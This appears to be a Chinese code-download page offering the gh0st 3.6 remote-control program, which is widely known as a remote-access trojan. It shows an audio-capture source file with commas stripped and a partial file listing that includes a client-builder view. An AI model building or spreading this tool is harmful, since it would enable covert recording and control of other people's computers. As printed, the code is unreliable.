资源简介
gh0st3.6是一款开放源码的远程控制程序,该程序由VC6.0开发,现已被成功改用Visual Studio 2012编译通过。
代码片段和文件信息
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include “Audio.h“
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2012-07-31 23:27 common\
文件 5199 2019-01-05 20:53 common\Audio.cpp
文件 1280 2008-03-19 00:31 common\Audio.h
文件 1835 2019-01-05 22:41 common\CursorInfo.h
文件 4188 2008-05-19 01:06 common\macros.h
文件 3636 2008-03-26 03:07 common\VideoCodec.h
目录 0 2012-07-31 23:27 common\zlib\
文件 7810 2008-01-04 21:42 common\zlib\zconf.h
文件 40900 2008-01-04 21:42 common\zlib\zlib.h
文件 81534 2007-11-14 21:29 common\zlib\zlib.lib
目录 0 2019-01-11 22:22 gh0st\
文件 3598 2008-03-27 09:18 gh0st\AudioDlg.cpp
文件 1652 2008-03-19 11:10 gh0st\AudioDlg.h
文件 1595 2008-03-26 16:55 gh0st\BmpToAvi.cpp
文件 796 2008-03-26 16:57 gh0st\BmpToAvi.h
文件 6088 2019-01-06 10:45 gh0st\BuildView.cpp
文件 1869 2008-05-16 00:25 gh0st\BuildView.h
目录 0 2019-01-11 22:21 gh0st\CJ60Lib\
目录 0 2019-01-11 22:21 gh0st\CJ60Lib\CJ60Lib\
文件 3805 1999-03-14 13:57 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.clw
文件 4852 1999-03-10 23:46 gh0st\CJ60Lib\CJ60Lib\CJ60lib.cpp
文件 188 1998-11-06 03:35 gh0st\CJ60Lib\CJ60Lib\CJ60lib.def
文件 9546 1999-03-12 18:08 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsp
文件 2705 1999-02-01 02:02 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsw
文件 40 2008-03-26 19:54 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.positions
文件 4590 1999-02-24 13:14 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.rc
文件 1709 2019-01-05 21:15 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.sln
文件 12061 2019-01-05 21:49 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.vcxproj
文件 9082 2019-01-05 21:14 gh0st\CJ60Lib\CJ60Lib\CJ60Lib.vcxproj.filters
文件 8113 2007-12-31 01:08 gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.dsp
文件 10380 2019-01-06 11:10 gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.vcxproj
............此处省略249个文件信息
- 上一篇:test_opencv.cpp
- 下一篇:C语言实现A*算法解决传教士和野人渡河问题
评论
共有 条评论